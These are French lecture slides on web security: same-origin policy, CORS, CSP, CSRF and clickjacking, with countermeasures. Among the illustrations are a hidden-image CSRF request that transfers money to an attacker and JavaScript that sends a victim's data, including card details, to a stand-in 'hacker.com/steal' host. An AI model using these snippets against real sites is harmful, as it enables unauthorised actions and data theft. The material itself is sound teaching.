Fork me on GitHub

Attaques cross-domain CSRF, SOP, Mash-ups, sécurité AJAX

Sécurité AJAX

AJAX est-il vulnérable à XSS ou d’autres types d’injections ?

En bref : ni plus ni moins que les pages Web 1.0, les <form>, les <iframe>, les <img>, etc.

En détail :

  • Si l’on peut injecter du JavaScript, alors on peut injecter un XMLHttpRequest, et vice versa ;
  • AJAX peut envoyer des requêtes GET : les <img> aussi !;
  • AJAX peut envoyer des requêtes POST : on peut créer un <form> dans un <iframe> caché et le soumettre;
  • AJAX peut lire la réponse aux requêtes GET et POST : en principe, les <iframe> aussi (plus de détails à suivre).

En pratique AJAX n’est pas plus dangereux que d’autres technologies, mais il élargit la surface d’attaque.

Same Origin Policy

Deux documents ne provenant pas du même domaine ne peuvent pas accéder les contenus respectifs :

  • Pas d’accès au DOM, aux cookies, aux URLs, …
  • Pas d’accès entre fenêtres et entre frames.

Cependant

  • Les scripts inclus avec <script> ont plein accès (donc la SOP ne peut pas bloquer le JavaScript injecté) ;
  • Autres balises violant la SOP (et pour cause) : <img>, <link>, <embed>, <object>, <iframe>, <bgsound>, …
  • window.name viole la SOP (pas très utilisé) ;
  • window.postMessage, introduit avec HTML5, promet une nouvelle vague de trous de sécurité !

Lire : http://code.google.com/p/browsersec/wiki/Part2.

SOP : Exemple

Restrictions sur AJAX

  • Un script peut envoyer une XMLHttpRequest vers toute adresse ;
  • il ne peut lire que les réponses provenant du même domaine.

Problème : comment interroger des APIs de sites tiers (Google maps, Yahoo finance, etc.) ?

AJAX Cross-domain

Problème : comment interroger des API tierces ?

Solution classique : Proxies

Écrire un programme côté server qui transmet la requête au service web.

www.example.com AJAX Client query.yahooapis.com AJAX

…Pas très satisfaisant

Cross-Origin Resource Sharing

CORS : introduit dans Firefox 3.5, presque un standard :

  1. Le XMLHttpRequest fait une requête GET cross-domain ;
  2. Le browser ajoute une entête HTTP Origin ;
GET /api/query.php?car=peugeot HTTP/1.1
Host: api.webservice.com
...
Origin: www.example.com
  1. Le server réponds avec Acces-Control-Allow-Origin:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: *
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: www.example.com
  1. Le browser renvoie la réponse à XMLHttpRequest seulement si l’origine est autorisée.

Les requêtes POST ne sont pas nilpotentes !

(on ne peut pas défaire leurs effets)

  1. XMLHttpRequest fait une requête POST cross-domain ;
  2. Le browser change le type de la requête en OPTIONS ;
OPTIONS /api/query.php?car=peugeot HTTP/1.1
Host: api.webservice.com
Origin: www.example.com
Access-Control-Request-Method: POST
  1. Le server réponds avec Acces-Control-Allow-Origin :
HTTP/1.1 200 OK
Access-Control-Allow-Origin: www.example.com
Access-Control-Allow-Methods: POST, GET, OPTIONS 
  1. Si la requête est autorisée, le browser envoie la requête POST ;
POST /api/query.php?car=peugeot HTTP/1.1
Host: api.webservice.com
Origin: www.example.com
  1. La réponse est renvoyée à XMLHttpRequest.

CORS et sécurité

CORS est une protection opt-out : www.hacker.com ne peut pas se connecter à www.mybank.com en se faisant passer pour un utilisateur

  • Cohérent avec la SOP des frames et des fenêtres ;

www.hacker.com peut obliger www.mybank.com à télécharger du contenu de www.hacker.com

  • Nécessite une faille XSS pour démarrer l’attaque ;
  • On peut faire pareil avec <script>, <iframe>, <img>, …
  • Cela pourrait être utilisé pour contourner un filtrage des balises <script>.
www.mybank.com Client www.hacker.com XSS

Content Security Policy

Problème : Comment mieux circonscrire les dangers d’un XSS ?

CSP restreint les actions sur la base du domaine d’origine, au niveau de HTTP :

Ce que l’on peut restraindre

  • JavaScript inlined, eval, CSS, transformations XSLT, Web Fonts ;
  • Sources pour les balises HTML : <script>, <object>, <embed>, <style>, <img>, <audio>, <video>, <iframe> ;
  • Sources pour les APIs DOM : XMLHttpRequest, WebSockets, Server events.

Voir : http://www.w3.org/TR/CSP/#sotd

Exemple de CSP…

HTTP/1.1 200 OK
...
Content-Security-Policy: default-src 'self';
                         img-src *;
                         object-src media.example.com
                                    *.cdn.example.com;
                         script-src https://js.example.com;
                         connect-src https:

Les balises <img> sont toujours permises

<img src="http://farm1.staticflickr.com/1/xxxxxxxxxx.jpg" />

Les plugins sont autorisés uniquement sur certains sous-domaines

<object data="http://media.example.com/video.swf"></object>

…Exemple de CSP

<script> permises uniquement sur https://js.example.com

<script src="https://js.example.com/jquery.min.js"></script>

AJAX est permis uniquement sur SSL

var xhr = new XMLHttpRequest()
xhr.open("GET", "https://api.finance.com/cac40?c=total")

Tout autre contenu est permis uniquement de la même page

Problème: CSP est une protection opt-in. Elle doit être configurée explicitement par le server.

CSRF : attaques légitimes !

Cross-Site Request Forgeries : une faille intrinsèque du Web

Les acteurs

Un server web possédant des données confidentielles.

Un utilisateur légitime authentifié ayant des droits sur les données.

Un attaquant malicieux qui :

  • connaît l’API du server (par ex., l’API est publique),
  • contrôle un site tiers sans rapport avec le server victime (par ex., son propre server, ou un site avec une injection XSS).

Les effets

L’attaquant gagne accès aux données confidentielles avec les droits de l’utilisateur légitime.

CSRF : Comment ?

Pré-requis…

  • L’utilisateur est loggué sur le server (par ex., il garde un onglet ouvert sur une page du server) ;
  • L’utilisateur tombe par hasard sur la page malicieuse de l’attaquant.

…et ensuite

  • La page de l’attaquant déclenche une requête au server
<html>
...
<h1>Recipe: Panini Reblochon Nutella</h1>
<h2>Ingrédients:</h2>
<ul>
<li>Two slices of bread</li>
...
<img width="0" height="0"
     src="http://server.com/transfer?to=attacker&amount=10k"/>
  • Le browser de l’utilisateur, en voulant télécharger l’image, déclanche un transfert d’argent authentifié.

Démo CSRF : e-campus 2

  1. Connectez-vous à http://e-campus2.uvsq.fr/,
  2. Allez vers la page du cours.
  3. Maintenant, supposons que vous visitiez un site au hasard (par ex., ce site !!!), contenant cet <iframe> (caché par display:none):
  1. Si vous cliquez ici, le formulaire est soumis, et le CSRF est exécuté.
  2. Maintenant rafraîchissez la page du cours et observez le résultat.

Note : Si le <iframe> avait été vraiment caché, vous n’auriez rien remarqué.

Note: Il aurait été possible de tout faire sans attendre de clic de l’utilisateur !

AJAX et CSRF : intercepter les données

  • À cause de la requête POST, l’attaque précédente n’aurait pas pu être menée uniquement avec XMLHttpRequest.
  • Mais AJAX offre des nouveaux points d’accès aux CSRF !

Imaginez une API authentifiée qui renvoie des requêtes JavaScript :

HTTP/1.1 200 OK
Content-Type: text/javascript
Access-Control-Allow-Origin: *
...

new UserData(
  "firstName", "Pinco"
  "lastName", Pallino",
  "creditCard", "XXXX XXXX XXXX XXXX",
);
  • Les données sont renvoyées dans un objet UserData à evaluer.
  • La définition de UserData est dans les scripts du client.
  • Ceci est similaire au paradigme JSONP.

L’application legitime

  1. Le client charge le JavaScript fourni par le server
<script src="http://www.server.com/js/api.js"></script>
  1. Le script contient la defintion de UserData
function Userdata() {
  this.creditCard = ...
}
  1. Le client client fait une requête AJAX à l’API
xhr = new XMLHttpRequest();
xhr.open("GET", "http://api.server.com/getUserData?user=1000");
  1. Le client evalue le JavaScript et traite les données
var data = eval(xhr.response());
var card_number = data[5];

L’attaquant

  1. Crée une page sur un autre server qu’il contrôle ;
  2. Inclue le JavaScript suivant (qui remplace la définition de UserData)
function UserData() {
    var img = new Image();
    img.src = "http://hacker.com/steal?" 
              + Array.join(",", arguments);
}
  1. Il force le client à faire une requête à l’API
xhr = new XMLHttpRequest();
xhr.open("GET",
	     "http://api.server.com/getUserData?user=1000");
  1. Le browser envoye les données à http://hacker.com/steal (à cause de l’Image()).

CSRF dans la vraie vie

GMail 2007 rédirection de mail : des filtres de mails arbitraires ont pu être configurés via CSRF

GMail 2007 vol de contacts : les attaquants ont pu voler les carnets d’adresses

Contremesures CSRF

Utilisateur

  • Se djélogguer ;
  • Utiliser plusieurs browsers.

Développeur

  • Préférer POST à GET pour les requêtes qui déclenchent des actions ;
  • Contrôler l’entête Referer ;
  • Demander confirmation ;
  • Faire expirer rapidement les sessions ;
  • Utiliser des captchas ;
  • Ajouter des informations reliées à la session dans les URLs ;
  • Cacher des jetons aléatoires jetables (nonces) dans les formulaires.

Note : il n’existe pas encore de protection définitive !

Clickjacking et sécurité des Mash-up

Demander confirmation peut ne pas être suffisant !

Clickjacking : amener l’utilisateur à cliquer le bouton de confirmation sans son consentement

  • Inclure le formulaire de confirmation dans un <iframe> ;
  • Utiliser CSS pour superposer le <iframe> à du contenu apparemment inoffensif ;
  • Convaincre l’utilisateur à cliquer sur le contenu inoffensif ;
  • Le clic va au <iframe> de confirmation.

(Seule?) utilisation vérifiée : Twitter 2009 “Don’t click this” http://dsandler.org/outgoing/dontclick_orig.html

Clickjacking: Exemple

Suivez ce lien

Contremesures

Entête Expérimentale

X-Frame-Options: SAMEORIGIN
  • Empêche aux browsers d’inclure la page dans des frames cross-domain ;
  • Twitter s’en sert depuis 2009…

Lectures

Google browser security guide (M. Zalewski)

Same Origin Policy

Clickjacking